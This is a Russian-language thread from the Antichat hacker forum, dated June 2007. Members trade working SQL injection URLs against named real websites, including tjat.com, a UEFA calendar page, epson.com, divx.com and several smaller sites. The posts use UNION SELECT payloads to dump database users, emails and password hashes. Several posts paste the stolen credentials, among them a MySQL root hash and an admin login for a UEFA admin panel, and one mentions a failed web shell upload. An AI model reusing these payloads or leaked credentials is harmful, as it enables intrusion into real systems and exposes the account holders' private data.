09.06.2007, 11:02
|
|
Познавший АНТИЧАТ
Регистрация: 25.08.2006
Сообщений: 1,524
С нами:
10374086
Репутация:
1745
|
|
Код:
http://forums.tjat.com/wap/wapmisc.php?action=profile&u=-99%22%20union%20select%201,2,user,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,password,39,40,41,42,43,44,45,46,47+from+mysql.user/*
root:4527fb015ba5ce7d
Код:
http://forums.tjat.com/wap/wapmisc.php?action=profile&u=-99%22%20union%20select%201,2,username,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,concat(user_email,char(58),user_password),39,40,41,42,43,44,45,46,47+from+phpbb_users+limit+1,1/*
лимит в помощь
ran:b45dc32e2201a8c4a39ea72cc1ad2cff
Tjat.comTeam:9e592dbd5de6ec2fbcd1aef248202055
dima:9e592dbd5de6ec2fbcd1aef248202055
ICQ сервис www.tjat.com/wap.tjat.com
сенкс M4g (c) |
|
|
09.06.2007, 11:41
|
|
Постоянный
Регистрация: 20.01.2007
Сообщений: 787
С нами:
10160966
Репутация:
1719
|
|
plaza-j.ru
Код:
http://www.plaza-j.ru/catalog.php?id=2&rid=-1+union+select+1,concat(username,0x3a,passwd),3,4+from+user/*
plaza-j:10054b213fec9d81
|
|
|
|
09.06.2007, 12:19
|
|
Постоянный
Регистрация: 20.01.2007
Сообщений: 787
С нами:
10160966
Репутация:
1719
|
|
dmbasis.ru
Код:
http://www.dmbasis.ru/main.php?id=-1+union+select+1,2,concat(email,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+users+limit+0,1/*
вывод в title, пароли в открытом виде, форма логина тоже есть.. ток ничего не дает =)
|
|
|
|
09.06.2007, 12:35
|
|
Постоянный
Регистрация: 03.02.2007
Сообщений: 520
С нами:
10140806
Репутация:
932
|
|
...
Код:
http://www.jed-afrique.org/news.php?id_news=-11+union+select+1,version(),3,user(),5,6,7,8,9,10,11,12,13,14,15,16,user()/*
http://www.respectcoalition.org/2006/news.php?ite=-1274+union+select+concat(user(),version()),2,3,4/*
|
|
|
|
09.06.2007, 22:01
|
|
Постоянный
Регистрация: 07.05.2006
Сообщений: 732
С нами:
10532546
Репутация:
811
|
|
http://cyberacing.ru/index.php?lang=ru&p=105&action=topic&id=-1+union+select+1,2,3,4,5,6,7/*
ооо
|
|
|
|
09.06.2007, 22:41
|
|
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
С нами:
10309346
Репутация:
4303
|
|
fr.freekick. uefa.com
http://fr.freekick.uefa.com/calendar.php?efEvent=-38+union+select+11,version(),3,4,5,6,7,8,9,10,11,1 2,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28, 29,30,31,32,33,34,35,36,37,38/*&efMonth=0&efOrder=5'&efkeyword=
http://fr.freekick.uefa.com/calendar.php?efEvent=-38+union+select+11,table_name,3,4,5,6,7,8,9,10,11, 12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 ,29,30,31,32,33,34,35,36,37,38+from+information_sc hema.tables/*&efMonth=0&efOrder=5'&efkeyword=
http://fr.freekick.uefa.com/calendar.php?efEvent=-38+union+select+11,column_name,3,'d',5,6,7,8,9,10, 11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 ,28,29,30,31,32,33,34,35,36,37,38+from+information _schema.columns+where+table_name='tbadmin_users'/*&efMonth=0&efOrder=5'&efkeyword=
http://fr.freekick.uefa.com/calendar.php?efEvent=-38+union+select+11,auUsername,3,'d',5,6,auPassword ,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24, 25,26,27,28,29,30,31,32,33,34,35,36,37,38+from+tba dmin_users/*&efMonth=0&efOrder=5'&efkeyword=
логин:пароль
##gv:##mw
arena:rose67uf
Админка
http://fr.freekick.uefa.com/admin/
Шелл не смог залить. Есть скрипт аплода картинок, но там стоит проверка на расширение |
|
|
|
09.06.2007, 23:28
|
|
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
С нами:
10309346
Репутация:
4303
|
|
eku.latin. epson.com
http://eku.latin.epson.com/V2/php/productos.php?idCategoria=-1+union+select+version()/*
Названия таблиц на испанском =) |
|
|
|
09.06.2007, 23:50
|
|
Познающий
Регистрация: 06.04.2007
Сообщений: 77
С нами:
10051477
Репутация:
136
|
|
Сайт: www.cаpsi.ca
PHP код:
http://www.capsi.ca/council.php?mem_id=3+union+select+1,2,3,4,5,6,concat_ws(char(58),name,email,password),8,9,10,11,12,13+from+members/*
Сайт: www.rаmzesexpo.com
PHP код:
http://www.ramzesexpo.com/ru/news/index.php?id=-24+union+select+1,2,3,4,5,6,7,8,name,10,11,12,13,14,15,16,17,18,19,20+from+ramzesexpo/*
Сайт: www.mеrrimack.tv
PHP код:
http://www.merrimack.tv/news/index.php?id=-1+union+select+1,table_name,3,4,5,6,7,8+from+information_schema.tables/*
Сайт: www.jеd-afrique.org
PHP код:
http://www.jed-afrique.org/news.php?id_news=-11+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,concat_ws(char(58),login,password)+from+user/*
Сайт: www.mоldavcable.com
PHP код:
http://www.moldavcable.com/newsread.php?id=-6+union+select+concat_ws(char(58),user,password)+from+mysql.user/*
|
|
|
|
09.06.2007, 23:55
|
|
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
С нами:
10309346
Репутация:
4303
|
|
www.divx.com
http://www.divx.com/company/press/press_detail.php?pr_id=-4+union+select+1,convert(version()+using+latin1),3 ,4+from+users
Чё то стобцы не могу подобрать =\
|
|
|
|
10.06.2007, 00:46
|
|
Постоянный
Регистрация: 01.01.2007
Сообщений: 796
С нами:
10188506
Репутация:
861
|
|
www.edifier.ru
Код:
http://www.edifier.ru/news.php?&task=showfull&id=-80+union+select+1,2,3,4,version(),6,7/*
дальше туго 
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Комбинированный вид
